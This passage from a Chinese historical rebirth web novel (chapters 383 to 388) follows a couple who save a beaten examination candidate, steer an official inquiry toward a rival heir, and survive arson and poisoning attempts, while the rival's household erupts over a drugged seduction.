霍耀行觉得江柔儿有几分眼熟,却能肯定她并不是母亲身边的人。 他皱眉问道:“你是何人?” 霍耀行并不热衷于床笫之事,漂亮的他会多看几眼,若是投怀送抱。他也会宠幸一番,却并不会把他们记在心里。 对他来说。 有用的女人,才配他记住。 无用的女人,不过是用来泄玉的工具而已。 女子嗲声道:“世子爷,您不记得我了吗?我是柔儿啊!一年前,我在路上被人调戏,是您救了我。 那时起,我便对你芳心暗许,一心想要到您的身边来报答你。” 她娇滴滴的说着话,将食盒里的点心端出来。 是精致漂亮的荷花酥。 它做得比外面卖的还要小一些。 一口一个,刚刚合适。 江柔儿捏起一块荷花酥送进霍耀行嘴边:“这是我特地为世子爷做的,世子您尝尝看。” 她柔软无骨的娇躯,半依在霍耀行身上。 一股甜腻的香味钻入霍耀行的鼻间。 像熟透的桃子,又像少女饱满且半露的胸脯,勾着他去采撷。 霍耀行只觉得身体开始燥动。 江柔儿精心保养过的手,顺着他的领口往里滑。 霍耀行的呼吸变得粗重。他一把抓住江柔儿的手:“你对下药了?谁给你的胆子?!” 江柔儿整个软倒在他怀中:“世子爷,你弄痛人家了……” 霍耀行最后一点理智,也被欲望击败。 应知林时间紧,任务重。 他故意卖了个破绽,对方很快上当,直接扑了过来。 应知林立即用手里的衣裳,绞住一人的脖子,扯着他迎上对面砸过来的砖头。 应知林手里的人顿时头破血流,软倒在地。 有了突破口,另外三个人就很好收拾了。 应知林出手干脆利落,眼看就快脱困,忽的,角落里飞来一处暗器,打在他膝盖窝。 应知林双腿一软,就倒在地上。 四人瞬间反扑,开始围攻应知林。 闻颜赶过来时,看见的便是他双拳难敌四手,暗处还有人趁乱下黑手。 闻颜先是躲在暗处,一箭就把偷袭的人放倒,这才现身帮助应知林。 没几下,四个人就被放倒。 应知林动手开始解腰带,想把绑起来当人证。 闻颜伸手拦住他:“有人接应,我们绑不住。你看我的。” 闻颜撩起裙子,从小腿内侧抽出一把小巧的破甲锥。 她手起刀落,便在那四人身上留下了记号。 四名小厮惨叫连连,伤口更是出血不止。 “我这个破甲锥是迟飞姐姐给我特制的,被它们刺过之后,会在伤口留下特殊的痕迹,除非把那一块肉全部挖掉,否则不可能逃脱。”闻颜不好意思地解释。 “颜颜好机智。”应知林一脸欣赏的看着她,随后指着地上,“马车痕迹一直往巷子深处走的。” 闻颜道:“那我们快追吧。” 应知林一把握住闻颜的手,拉着她就往一巷子里跑。 他们很快就追到废宅门口,车辙印结束,院中飘出一股浓郁的血腥气。 两人跑进院子里,就看见地上躺着一个血淋淋的人。 “祁兄!”应知林跑过去,想要抱起祁云舟。 闻颜连忙阻止,探了一下他的鼻息,“还有气,你先别动他,会造成二次伤害。” 祁云舟吐出一口血沫子,艰难地开口:“应兄,抱歉,我不该不信你的话。 还好你没出事。” 闻颜找到一块结实的门板,拖过去:“先别说话了。 他现在伤得很重,再不送去看大夫,恐怕会小命不保。 我们先把他抬出去找大夫。” 两人合力将人抬到门板上,就往外一路狂奔。 他们出去的时候,预料之内的,那四名小厮已经不见了,地上只剩下四滩不小的血迹。 他们刚到巷口,就遇上了佩儿,带着几个穿着皂衣佩刀的人。 闻颜让她去报官,没想到她会来得这么快。 第383章:小事化大 闻颜从小养尊处优,应知林又浑身是伤的残血状态。 二人抬着祁云舟,闻颜走很是吃力。 抬着门板的手都受不住力,开始颤抖了。 要不是祁云舟只能平躺着搬动,应知林也舍不得让她受累。 不过,闻颜一直咬牙忍着,甚至还加快了步子。 起码要在力竭前离开巷子,才能求救找到人帮忙。 忽地,前方传来一阵杂乱脚步。 闻颜心里咯噔一声:“不会吧! 不会这么倒霉,来的是对家吧!” “小姐!” 佩儿领着看见闻颜在干苦力活,就心疼得不行。 立即跑过来,帮闻颜抬着门板,减轻负担。 “师兄!”佩儿的身后,又紧跟出一位身形颀长,带着少年气的男子。 正是元小头领。 他紧跟上来,看见应知林鼻青脸肿的,就想接过他的担子。 不过被应知林躲开:“你先帮我夫人。” “放心吧,累不着你的好妻子。”元小头领没好气地抱怨一声,强势接过担子的同时,对手下使了一个眼色。 他的手下,立即从闻颜和佩儿手里,接过担子。 闻颜甩了甩磨得生疼的手,说道:“他现在的情况很危急,先送他去找大夫,他不能死!去同和堂。” 元小头领一挥手:“听我嫂子的。赶紧把人送去同和堂。” 闻颜又提醒一句:“一定要找林大夫。” 林大夫虽擅长内科调理,不擅长外伤。 但他年纪大,人随和,人缘广。 他看不了的病症,一定会去太医院摇人,而且还是摇最厉害的那个。 元小头领解下腰间的玉牌,扔给一个手下:“拿关我的玉佩,还不快去。” 手下见他连玉佩都亮出来了,就知他对这件事的看重。 当即便不敢再耽误,抬着架子就小跑起来,还能保持担架上的人不受丝毫颠簸。 另外还有两人随行保护。 元小头领的这些手下,步伐沉稳有力,做事也极有章法,一看就不是简单人物。 看人平安送走,闻颜先向元小头领道了一声谢:“今日多谢你了,要不是你们,我和知林坚持不了多久了。” “举手之劳罢了。”元小头领摆摆手,“到底发生了什么事,师兄竟然弄成这样!” 闻颜看了应知林一眼,这才将事情简明扼要地说了一遍。 她又看向佩儿,“不是让你去京兆府报案吗?你怎么找上元小头领了?” 佩儿连忙解释:“当时我距离京兆府太远了,元小头领又刚好在附近办事,我就去找他帮忙了。” 闻颜好奇,佩儿为何会知道元小头领的行踪。 不过现在不是追问的时候,她便将疑惑按下。 元小头领道:“你们就放心吧,赶过来之前我已经找派人去京兆府报案了,京兆府的人应该很快就会赶到。” “报官了就好。此事非同小可,光天化日之下,竟然有人对此次加会试的举子动手,不知安的什么心。”闻颜扶着应知林,气愤地说着。 “那些人下手可真狠。 不仅把祁云舟打得奄奄一息,就连知林都下了狠手,要不是我及时赶到,恐怕知林也是祁云舟的下场。” 闻颜低下头,肩膀一抽一抽的,像极了一个心疼丈夫的妻子。 应知林知道她表现的深情,都是惑人的迷雾。 她是想借元小头领的势,严查此事,揪出霍耀行。 可明知是假,应知林还是克制不住的沉沦。 就算是装出来哄他的,他也甘之如饴。 她还嗔怒地轻捶了应知林一下:“你老实交待,你最近是不是得罪人了,被人恶意报复?这可跟祁举人又有何干?” 应知林道:“不曾。为了备考,我们甚少出门。 连其他学子递来的聚会邀请,我们都一律拒绝了,根本没机会得罪人。” “这就奇怪了,幕后黑手,为何要盯着你们两人祸祸? 你倒也罢了,上次乡试的解元,有人觉得你碍事挡路收拾你,可这跟祁云舟有什么关系?他上次只考了第十名。 这样的名篇,说不定连考中进士的机会都没有。” 闻颜看似无头苍蝇一样分析。 其实,每一句话都在引导元小头领,把因果往科举上扯。 闻颜本就想打压霍耀行。 没事都要搅上三分。 更何况现在霍家找上门来。 闻颜直接将私怨牵扯到科举之上,把小事化大。 三年一次的科举,是朝廷选拔人才的重要形式。 有人敢在京城,对学子下死手,简直就是把皇帝的脸踩在地上摩擦。 此事一旦闹到上头,必定会严查,彻查。 若是能用此事,把霍家和科举舞弊扯上关系。 霍耀行此生别想有出头之日。 果然。 就见元小头领的眼色晦暗不明。 每次春闱,考生之间互相暗算使绊子的事比比皆是。 读书人要面子、也虚伪,那些都做得极为隐晦。 像今日这种,明目张胆的动手把人废了,不像那些读书人的风格。 做得这么狠绝,倒像是私人寻仇。 闻颜不过是借着科举的名头,把事情闹大。 能查出来最好,查不出来,官府也能起到震慑作用。 让暗处的凶手,不敢轻再举妄动。 元小头领心思电转之间,便看透闻颜的打算。 但他并未拆穿。 科举之中的歪风邪气,近年越发猖狂,不如借机整顿一番。 还能卖个人情给闻颜。 “放心吧,这件事我会亲自督办严查,你们身上有伤,先去医馆处理一下吧。” 就在这时,府衙的人匆匆赶到。 元小头领就吩咐他们看好现场,仔细勘察线索。 差役并不知道元小头领的身份。 不过见此事跟官方扯上关系,他们就不敢大意。 一边让人配合,一边派人回京兆府上禀此事。 闻颜和应知林也骑上马,一起大摇大摆地去往同和堂。 ** 二人离开后。 待对面的巷子里,两道身形隐藏在阴影里:“没想到两个柔弱书生这么难杀。” “要不要追上去灭口?” “你疯了。他们敢这么明目张胆的走在街上,就是以身饵,想把我们引出去。 我们现在冲出去,正中他们下怀。” “那怎么办?事没办事,回去之后,世子爷肯定会狠狠责罚我们的!” “你们先盯着他们的动向,我这就回去向世子复命。” 那人说完,就悄无声息的离开了。 第384章:现代的手术 闻颜夫妻赶到同和堂时。 林大夫正在给祁云舟施针止血、吊命。 闻颜担忧问道:“林大夫,他现在怎么样了?!” 林大夫收起针包,道:“我先给他扎了几针,血止住了,暂时吊住了最后一口气。 外伤不是我的强项,这么重的外伤,我也束手无策。” 闻颜笑眯眯的扯了扯林大夫的衣袖尖,轻轻晃了晃:“林大夫医术了得,人缘更是不错,您一定认识很厉害的外伤大夫的,不对不对。” 林大夫一把年纪,看着闻颜就像看见自己的孙女,半点脾气都没有。 “放心吧,我已经差人去太医院,找最擅长外伤的大夫了。 只要他肯出手,此人保命应该不成问题。” 林大夫佯装生气地抽回自己的衣袖,一副没好气的样子。 他见应知林鼻青脸肿的,额头上有一道半寸余长的口子,还在往外渗血。 他顿时就皱起了眉,拉过应知林的手,给他号脉:“你小子要参加三日后的会试吧! 额头上这么明显的伤口,恐怕会对你科举不利。” 现在的普通科举对外貌的要求并不严格,只要不是少胳膊少断,或是丑得惨绝人寰,都没什么问题。 但他一次出诊时,听国子监的大儒提过,说他有状元之才。 若是真有殿试机会,这点微不足道的小伤,也会成为他被筛下来的契机。 “伤口这么明显吗?”应知林伸手去碰额头上的伤。 被林大夫一巴掌拍开,“别碰上,你的手这么脏,让伤口化脓怎么办?” 应知林:“……” 闻颜先急了起来:“一定有法子不留疤的吧!我听说有些祛疤的药膏有奇效……” 闻颜倒不是担心应知林的科举。 她对应知林,向来抱着重在参与,这次失利,三年之后又是一条好汉的心态。 她主要心疼应知林那张完美无瑕的脸。 “那种药膏我可没有。”林大夫从抽屉里拿出一个瓷瓶:“你主要是些皮肉外伤,这个药膏活血化淤有奇效,用力揉开,三五天就能恢复如初,应该不会耽误你进贡院。” 林大夫叹了口气,对闻颜交待道:“至于他额头上的伤。 等外伤大夫来了,帮你一并缝合一下吧,只要将养得好,应该看不出多大痕迹。 不过他带着外伤,真能进考场?” “我会想办法的。”闻颜接过药瓶,又跟林大夫道了谢。 她就领着应知林到了病人的休息间。 房门一关,闻颜干脆利落:“脱衣服。我给你上药。” 应知林依言将外衫脱去,转身背对着她。 就见他背上青一块紫一块,虽然不曾见血,但看着就很痛。 闻颜咧了咧嘴:“你忍着点儿,揉药肯定会很痛。” 应知林深吸一口气:“你来吧,我忍得住的。” 闻颜把药膏在手心捂热之后,就按在淤青处,用力揉开。 她刚按两下,应知林的身体就因为疼痛而颤抖起来。 “你还能忍吗,如果实在受不了,就不揉身上的伤了,等你额头上的伤缝合之后,我给你揉揉脸上的。” 依照应知林的性格,绝对不会因为这点外伤,就放弃春闱的。 应知林果断拒绝:“身上的伤不好,进了考场也会影响我发挥。” 但更重要的是,不让她揉药,还怎么让她心疼自己呢? “只是,揉药膏真的很疼很疼,我痛得受不了的时候,可不可以靠在你身上。” 闻颜:“……可以。” 应知林深吸一口气:“那你来吧。不必怜惜我,这是我的自己的选择。” “那好,你忍着点,我要使大力气了,咱们速战速决。”闻颜提醒一声,就开始大力推揉起来。 她一用力。 应知林的身体就因为疼痛一直颤抖,但他紧咬牙关,始终没有吭一声痛。 闻颜拿块布巾卷成卷:“你咬住它,可能会好受一点。” 应知林抬起头,用一又通红含泪的眼睛看着她。 那惹人怜爱的模样,像极了一只被欺负的小狗。 他突然扑进她怀里,紧紧搂住她的腰。 闻颜脑子里轰的一声:“怎……怎么了?” 应知林没有答话,只是看着她,缓缓张开了嘴。 这任君采撷的模样…… 闻颜把布卷塞进他的嘴里。 房间里陷入无尽的沉默。 闻颜默默给他揉药。 应知林始终一声不吭。 但搂着她腰的胳膊,却越收越紧。 到最后,闻颜觉得自己都快要被他揉进身体里。 闻颜这边将应知林的伤处理完。 林大夫请的外伤大夫也到了。 他提着一只巨大的箱子,身边还跟着两位医童。 说是医童,其实已经三四十岁的年纪,是外伤张大夫的亲传弟子。 经过一番详细却快速的检查之后,他先是肯定了林大夫的柔处理,及时吊住祁云舟的命。 随后,他才道:“他只断了三根肋骨,没有位移扎到内脏,情况不算严重。 只要加以正骨术法,好好调养即可。” 闻颜听得直咽口水。 不愧是外伤圣手。 断了三根肋骨,竟然算是小伤。 就听张大夫继续道:“最严重的是他的双臂,都被人为打断。 左臂还好,只是断了,正骨之后,加以休养就会好,除了阴雨天会痛,平时的饮食起居不成问题。” 但是他的右臂就没那么幸运了。 两处骨断,伴随着碎骨扎进肉里,若是处理不好,那些扎进肉里的会复返红肿化脓,最后会导致整条手臂坏死。 现在只有两个选择。 一个是直接截肢,从上臂断骨也全切掉。” “那他岂不是就成了残……”闻颜没把另一个字说出来,“他可是读书人,少一条胳膊,就于仕途无望。前面几十年的安家落户,就都成了泡影!” 应知林握住闻颜的手,安慰道:“别着急,张大夫还有另一个办法没有说!” 满屋子的人,全都看向张大夫。 就连处理完后续赶来的元小头领,也站在门外没有进来,生怕打断了张大夫的思路一般。 张大夫道:“另一个办法,便是剖开他的手臂,取出扎进肉里的碎骨,如此一来,他胳膊才能避免红肿化脓症状。” 若是黄莺儿在此,想必会惊呼出声:这不是现代的手术吗? 第385章:奸情撞破 “把手臂剖开,风险应该很大吧! 仅仅是利刃剖肉的痛苦,都能要了普通人的性命,更何况祁云舟本就生命垂危。”闻颜不懂医,提议道。 张大夫道:“所以,现在只能在断右臂、冒险取出碎骨渣这两条路中选择。 一般情况下,我都建议断臂求生。 但他是读书人,情况特殊,就看你们的选择了。” 闻颜和应知林都沉默了。 不管是断臂还剖开皮肉取骨都危险至极,祁云舟又昏迷不醒,关乎性命和前途,闻颜和应知林都不敢妄下决断。 这时元小头领走了进来,对张大夫道:“给他截肢吧。小命都没了,什么都没了。留着性命,才有其他可能。” 张大夫看见元小头领,神情一怔,下意识就要抱手行礼,却被元小头领抬手制止:“你不必因为我姨母是皇后娘娘,就对我如此多礼。” “张大夫,你只管给他处理右臂,有什么事我自会担着。” 张大夫绷着脸,很是拘谨地点点头:“是。” 想到前世的见闻,闻颜觉得祁云舟是天生走仕途的料。 他手段亦正亦邪,既会在官场上长袖善舞,亦会为民请命。 他就该在仕途上发光发热。 断了他的右臂,就是毁了他所有的希望。 闻颜道:“有没有办法让祁举人清醒过来,问问他本人的意思?” 闻颜的话刚说完,身后就传来一道虚弱的男音:“我不要截肢,我不能失去右臂。” “祁兄,你醒了!你现在感觉怎么样?”元小头领三步并作两步走了过去,给祁云舟打气,“你坚持住,我们不会让你有事的。” 闻颜和应知林也在一旁猛点头:“我们已经请来京城最好的外伤大夫,你安心接受治疗就好。” “元兄,你怎么在这儿……”祁云舟对他露出虚弱的笑容。 两人是在元小头领外出游学时结识的。 他们称兄道弟,关系很是不错。 他轻咳两声,呛出一口血沫子,他艰难的继续说道:“我……无论付出什么代价,都要保住我的右手。” 元小头领不同意,“这样你可能会丧命! 没了右手,你走不了仕途,我可以引荐你去做幕僚,一样能够一展你的报负。” 祁云舟虚弱的摇摇头:“我要正大光明的站在朝堂之上。” 祁云舟态度坚决,若是残废,他宁愿去死! 因为大量失血,祁云舟的脸色惨白中透着死灰,“写字我可以练左手,要是右臂没了,我还有什么指望。” 祁云舟拉着元小头领的手:“打我会说话,就开始读书,我生来就是要走仕途的。 若是连这都没有了,活着还有什么意思? 元兄,我没求过你什么事,这一次,请你一定要听我的。” 元小头领张了张嘴,最终还是忍着痛心,尊重了祁云舟的意见。 祁云舟紧绷的神经放松下来,很快就再度晕了过去。 既然决定要保下他的右臂。 他们便开始商议,剖臂取碎骨的细节。 麻醉方面,他们会先给祁云舟服下麻醉药,再用冰块降低伤口温度,使血液流速变慢,以烙铁给伤口止血之后,才能取扎进肉里的碎骨。 定好一切事宜,张大夫便拿出一起带来的药箱。 展开之后,里面是全套外伤要用到的刀具。 取出需要的,酒浸火燎消毒。 一个时辰后,房间准备好,张大夫带着他的两位徒弟,开始给祁云舟进行剖臂治疗。 ** 津平侯府。 闻如月叫人去对付应知林后,怕应知林认出自己,留下四名小厮,就先行离开。 她根本不知,后续发生的事。 她欢欢喜喜地回府,去找霍耀行邀功。 但她刚到书房门外,便听见里面传来暧昧不清的喘息声。 闻如月已经为人妇,岂会不明白那些声音代表着什么。 她怒发冲冠,一脚踹开书房的门,怒声喝斥:“什么蠢东西,竟敢在我夫君的书房里行苟且之事!” “咣”的一声巨响,书房里的场景,尽收她眼底。 只见两个人衣衫不整,交叠趴在宽大的书桌上。 房间里更是充斥着靡靡之气。 看清那两人的模样之后,闻如月失控尖叫:“啊——你们在干什么!” “夫君,为什么会是你!” 屋里激战的两人,终于在此刻清醒过来。 江柔儿像一只受惊的小白兔,躲进霍耀行怀中。 霍耀行却没有一点怜香惜玉,粗暴地推开江柔儿。 “哎呀”一声。 江柔儿摔倒在地,她衣衫下滑,半露酥胸上红痕斑斑,若是有男人在场,必定被勾得血脉贲张。 “贱人,你竟敢勾引我的夫君!”闻如月尖叫着扑过去,揪着江柔儿的发髻,大嘴巴子‘啪啪啪’地直往她脸上抽。 江柔儿早有准备,一直用胳膊挡着。 几巴掌挨下来,脸上竟没受一丝伤。 但她却哀叫连连:“世子,救我!世子……” “好啊你个贱东西,还敢当着我的面勾引我的男人,看我不打死你!”闻如月扑上去,与江柔儿扭打在一起。 江柔儿柔柔弱弱装挨打,却趁乱下黑手,在闻如月的隐私部位猛掐。 霍耀行十分烦躁,一拳砸在桌子上,发出‘咣——’的一声巨响。 “都给我住手。” 扭在一起的两个女人,这才停了下来。 江柔儿长长的眼睫毛上挂着眼泪,欲泣不泣地靠在霍耀行脚边,“世子爷,奴家已经是你的人了,你要为我做主啊!” “呸!谁不知道,你跟我公爹早就睡在一起了。 你就是个人尽可夫的烂女人,祸祸完我公爹,又想祸祸我男人。 你没有男人会死吗?” 闻如月的肺都快气炸了。 想当初,江柔儿会进霍家,自己阴差阳错还出了力气,她就怄得要死。 江柔儿跟津平侯的事,早就在府中传开了。 江柔儿没法摘干净。 她便用帕子捂着脸,嘤嘤直哭:“我一个弱女子,没有父兄依靠,更没有姐妹帮衬,我就是那湍流中的一片浮萍,半点不由己。 世子爷,奴的心里,始终只有您。”说完,她就扯好衣服,哭着跑开了。 父子共用一个女人这种事,说得越多,就越膈应。 不如早点离场,后面才有挽回空间。 第386章:撕破脸,线索断 闻如月朝着江柔儿的背影啐了一口,回头就对霍耀行发难: “霍耀行!我才是你的妻子。 我日日到你面前讨好你,你总是以为科举为重,三番五次地搪塞我。 可你呢? 却跟你父亲的情人,在书房里行苟且之事。 你作为津平侯世子的矜持呢? 你作为读书人的清高呢? 你不止是在侮辱我,更是在侮辱你自己,在侮辱整个霍氏的门楣。” 闻如月已经气到口不择言的地步。 “你住口!”霍耀行怒斥一声,反手就是一个耳光抽在闻如月脸上。 闻如月捂着火辣辣疼的脸颊,不可置信地看着霍耀行:“你竟然打我! 霍耀行,我是你的结发妻子,你竟敢打我!” 霍耀行看向自己的手掌。 这一下他使了全力,手心都红了:“口不择言,我打你又如何?” “霍耀行!”闻如月彻底怒了,她瞪着霍耀行,“姓霍的,别忘了,只有我才能让你更上一层楼!” 以前,霍耀行觉得她好掌控好拿捏,笨一些也不错,将来要休弃她时,能少去许多麻烦。 不会像闻颜那样鬼精难缠! 如今看来,她不是笨,而是愚蠢! 重生至今,她都吃过多少次亏了,就没发现今生的情形,与前世大不同了吗? 霍耀行冷笑一声,一把掐住闻如月的脖子:“你还真当自己很了不起?你要是还想当霍家的世子夫人,就给我安分些,否则我不介意换个人来做。” 直到闻如月脸色涨红,霍耀行才松开她。 闻如月捂着脖子,猛咳起来:“你……你竟然想休了我! 霍耀行,你忘记我重来一回的事情了吗?” “你再给我惹麻烦,休你未尝不可!”霍耀行现在多看她一眼都嫌弃。 闻如月如遭雷击。 前世的霍耀行那么爱自己,怎么可能这般冷漠无情的对待自己。 她疯了一样扑过去,也不知哪里来的力气,抓着霍耀行的双臂,使劲地摇晃:“你这个妖怪,你从我夫君身上下来,否则我找大师收了你!” 霍耀行:“……” 他额头上的青筋突突地跳着,一扬手臂就把人甩开出去。 闻如月脑袋撞在多宝阁上,半天都没缓过来。 就在这时。 霍三回来禀报:“世子爷,出事了?” “什么事了?慌慌张张的。”霍耀行心情不好,连带着牵怒到霍三。 霍三连忙跪下请罪。 霍耀行抑制住情绪,才问:“说吧,到底出了什么事?” 霍三朝晕乎乎的闻如月看了一眼,这才道:“少夫人办事不利,留下了尾巴。” “什么!” “不可能!” 闻如月跟霍耀行异口同声的道。 霍三擦了擦额头上的冷汗,便将闻如月走后的事情说了一遍。 “闻颜!又是她,阴魂不散,坏我好事!”闻如月脸色惨白,她不敢相信自己捅下这么大的篓子。 霍耀行对她疾言厉色:“你当初是怎么跟我保证的? 你简直就是个成事不足,败事有余的废物。” 闻如月低垂着头,不敢再吱声。 “今日在书房发生的任何事,你敢对外透露半个字,我必定让你生不如死! 包括你的娘家,亦是如此! 还有,今天与你同去的那些人,全部列一个名单给我。”霍耀行警告完,就把闻如月赶了出去。 待闻如月走后,霍耀行猛灌两杯茶水,才压下暴躁的情绪。 主仆二人分析眼下形势,又想出应对之策,防止这件事不会牵扯到他,才算完。 “至于祁云舟跟应知林,”霍耀行眼色一冷:“暗杀也好,下毒也罢,一定要把这两人处理干净。至少,祁云舟一定不能活着。” 霍耀行忽然按着胸口,对霍三道:“去查查那个江柔儿,她是不是用了什么药,她一出现在我身边,我就浑身燥热,把持不住自己。” “是!”霍三领命而去。 ** 祁云舟的治疗过程,持续了将近三个时辰。 张大夫带着两个徒弟出来时,人都快虚脱了。 “张大夫,他怎么样了?”闻颜三人都没走,一直守在医馆。 应知林扶着张大夫,到一旁的椅子上坐下。 “手臂里面的碎骨已经全部清理完,也用上了最好的药,能不能挺过来,就看他自己的了。” “张大夫,病人的情况你也是知道的,能否劳烦你在这边多守两天,以防有个万一,您也好及时出手。” 张大夫看了看闻颜,又看了看元小头领。 元小头领微微点头,他才答应下来。 这一夜,极不安稳。 先是应知林一行租住的小院突然走水。 不过院子里的人早有防备。 那火刚烧起来就被发现了,还没蔓延开,就被众人齐心协力把火扑灭了。 与此同时,应知林给祁云舟喂药。 张大夫被吵醒,起夜看了一眼,就发觉那药的味道不对。 查验之后,竟发现药被人投了毒。 “看来那些幕后之人,还是贼心不死!”闻颜咬牙切齿。 将医馆又加了一层戒备之后,元小头领对闻颜和应知林道:“你们跟我来。” 夫妻俩对视一眼,跟着他来到医馆后面的巷子。 他打了一个响指。 黑暗里就走出来两个身穿便衣的手下,他们各扛着一只麻袋,随意的扔在地上,发出沉闷的响声。 “这是什么?”闻颜好奇问道。 “你打开看看就知道了。”元小头领双臂环胸,戏谑地看着她。 闻颜上前打开麻袋,竟露出两张人脸。 拿过灯笼一看,脸色灰白中透着死气。 “是死人!”闻颜说完之后,才意识到自己反应太过平淡。 连忙故作惊恐地往后退了两步,躲到应知林身后。 元小头领:“……” 得! 她还演上了。 应知林握住闻颜的手:“别怕,有我在。” 颜儿做戏时的样子,还怪俏皮可爱的! 应知林问元小头领:“这两个人,到底怎么回事?” “跟你们住宅的那场火势有关。”元小头领早就派人埋伏在暗处,将纵火的两名犯人抓个正着。 他们本想把人扭送回去给元小头领,就能顺藤摸瓜揪出幕后黑手。 没想到,那两人竟是死士,咬碎藏在牙里的毒丸。 现在明面上的线索完全断了,元小头领却觉得,闻颜和应知林早就知道幕后之人。 “所以,你们知道是谁在幕后下黑手的,对吧!” 第387章:被试探,选女伴 元小头径直问到要点。 闻颜:“……” 她尴尬笑道:“你何出此言?” “从我在那条巷子遇见你们开始,嫂夫人话里话外,都在把这件事情往科举上引。 你们的目的太明显了,我不愿多想都做不到。” 闻颜与应知林互视一眼,直接摊牌了:“你猜的没错,我们确实知道动手之人是谁。 但是……” 闻颜顿了顿,继续道,“一名考生,为了自己能考上状元,就猎杀比自己优秀的考生,这也算不得私怨吧!” “你说这个猎杀者是……?”元小头领好奇无比。 闻颜深吸一口气,还是如实地道:“霍耀行。” 元小头领稍一回忆,便道:“我怎么记得霍耀行去年的乡试,只考了第六名。 这个名次放在京城可能还不错。 三年一次的全国会试上,集结了大庸最厉害的读书人,便是与应师兄一样的解元,都有几十位之多。 他区区京城第六名,恐怕连考上进士的机会都没有。” 闻颜道:“元老弟你只知其一不知其二。 霍耀行没考好,不是因为他学识不够,而是因为他喝了妻子亲手煲的汤,身体不适。” 元小头领哼哼两声:“我叫你夫君几声师兄,你就开始喊我老弟,你倒是会蹬鼻子上脸。” 闻颜抿唇笑了笑。 “好,就算如你所说,霍耀行真有摘得状元的才华。 他要针对的,也该是应知林、谢琮弈之流的解元。 云舟兄弟才考了第十名,总不能他也是因为意外状况吧!” 闻颜:“我说是呢……” 元小头领:“你觉得,我就这么好糊弄?”他外出游学时认识的祁云舟,那时二人因为意趣相投,时常秉烛夜谈。 很多理念和抱负都不谋而合,他们惺惺相惜,成为好友。 但他也不能因为关系亲近,就在祁云舟没有任何亮眼成绩的情况下,偏信于他吧! “你们既然是好友,应该知道祁云舟很怕蚊虫吧……” “确实如此。蚊虫咬得过多,他还会头晕发热……”元小头领的表情皱成一团,“所以,祁兄这次考得不好,是因为考场里蚊子多?” 闻颜翻他一个白眼:“信不信由你。” 前世的时候,祁云舟乡试只考了二十三名,后面一样考会元、考状元。 但这事儿,她没法跟眼前的两个男人说。 “你又翻我白眼!”元小头领恼怒,“我信你。迟飞说过你很邪性,你说的话也可信。” 闻颜:“……你刚才的话说得不对,有挑拨我和迟飞姐姐感情的嫌疑,我建议你把话收回,重新说。” 元小头领:“……” 闻颜:“言归正传,我刚才说的信不信由你,但你抽出一点点精力,顺着霍耀行这条线查一查,总归没错的。” 元小头领收获不大:“霍耀行那边,我会去查的。” 该试探的试探完,他们就准备各回去处。 此时,阴影处忽然走出来一个人。 “主子,白天袭击应举人的四个人,已经找到了。” “可有审出有用的东西?”元小头领问。 “不曾,我们找到的时候,他们已经死了。 被人用绳子勒绞脖子,窒息而亡,死亡之后才扔到祁举人出事的废宅里。 鞋袜和外衣都不见了。 对比过身上的伤口,确实与闻颜的破甲锥吻合。” 闻颜的破甲锥是孟迟飞特制的,天下仅此一件,无人仿得了假。 元小头领:“那四人的身份呢?可有查出来?” “仔细盘查过了。四人都是城里的混子,好吃懒做,孤家寡人,连亲戚朋友都没有了。” 元小头领挥挥手:“下去吧。” “是。”那人抱拳行礼,很快便悄无声息地消失在巷子里。 “那四个人被灭口,线索就彻底断了。 以幕后之人行事谨慎的态度,不管是闻家还是霍家,都已经很难再查到他们头上了。” 这确实是霍耀行的行事风格。 闻颜抿着唇,没再多说:“时辰不早了,我们也各自回去休息吧。” 元小头领难得在闻颜脸上看见失落的神情。 分别前,他又道:“祁云舟是我的好朋友,我不会让他白白受罪。” 这一夜,担心着祁云舟的安危,闻颜和应知林都没睡好。 第二日,起床后,闻颜和应知林先去看了祁云舟,他还是如昨天一般虚弱,脸色苍白中透着将死之人的灰败,完全没有苏醒的迹象。 闻颜觉得因为自己的重生,影响到祁云舟的人生轨迹,她心中过意不去。 她下意识地伸手去探他的鼻息,感受到微弱的呼吸,才吁出一口气:“还好,还有气。” “放心吧,有大夫盯着,他不会有事的。担忧了一整夜,我们出去吃些早食吧。” 应知林拉着闻颜的手,就出了医馆大门,元小头领迎了上来:“等等,我也一起去。” 应知林不高兴,他跟着一起,不是破坏他和夫人难得的独处时光吗? “你昨儿辛苦一天,就在医馆里歇着,要吃什么我给你带回来。” 元小头领仿佛没看出他的暗示,伸着懒腰打着哈欠。 “昨天忙得我连晚饭都没吃,早食我可忍不了一会儿。” 说罢,他还故意朝闻颜和应知林紧扣的十指上扫过。 闻颜连忙将自己的手抽回。 应知林手里握空,没好气地瞪了元小头领一眼。 三人朝附近的早食摊走去。 时间已经不早了,早食摊上坐满了客人。 “老板,四碗汤面,四个鸡蛋。” 元小头领胃口比旁人大,要吃双份才能饱。 点好菜,他们就找位置坐下。 在等上菜的工夫,三人就听隔壁桌的人在议论:“你们知道吗?恭太妃又要去大照寺了。 这次,据说是为了给受雪灾的百姓祈福。” “恭太妃仁善,为不让当今皇上为难,不仅谢绝皇上封她为太后的好意,一年之中有大半时间,都在大照寺理佛,为大庸的百姓祈福。” 说起恭太妃,京城的百姓对她是赞不绝口。 “你们只知其一,不知其二。 这次恭太妃不仅要去祈祷,还要在京城里挑选两个性子安静的姑娘陪同。” “这是何意?难不成是在替某位皇子选妃?”有人惊讶地道。 元小头领顿时呛咳出声,灌了半碗面汤才缓过来。 第388章:接住大馅饼 恭太妃大张旗鼓选人去礼佛祈福? 这是前世没有的事情。 闻颜顿时就支棱起耳朵,仔细听了起来。 就听那些人接着议论道:“应该不是。 据说这次挑的两位姑娘,不论身份高低贵贱,模样美丑,只要心地纯善,性子沉稳即可。即便是平民百姓家的女子,也可以。” “我家闺女今年十五,岂不是也可以一试?万一恭太妃看她顺眼呢?” “按照这个要求,那这确实不像给皇子选妃。 那些皇子,怎么可能娶一位毫无背景的普通女子。” “依我看,平民女子只是表相,拿来做遮羞布的,最终还是会选那些世家大族的女子。” 闻颜问应知林:“这件事,你怎么看?” 应知林不甚在意地道:“权贵之间的游戏,我怎么看有何关系?” 他完全没有,把应知雪送去一试的心思,倒是一个好哥哥。 三人头吃好早食,就准备回医馆去。 元小头领阻止道:“师兄你会试在即,回去休息准备。 嫂夫人熬了一整夜,也回家去歇着吧。 医馆那边,我会派人盯着,一有风吹草动,我肯定第一时间通知你们。” 闻颜确实累了。 道了一声谢,就回‘清风小楼’。 应知林想送她回去,被闻颜果断拒绝:“你在明敌在暗,谁知那些人有没有收手! 还是让元老弟送你回去吧,我放心。” 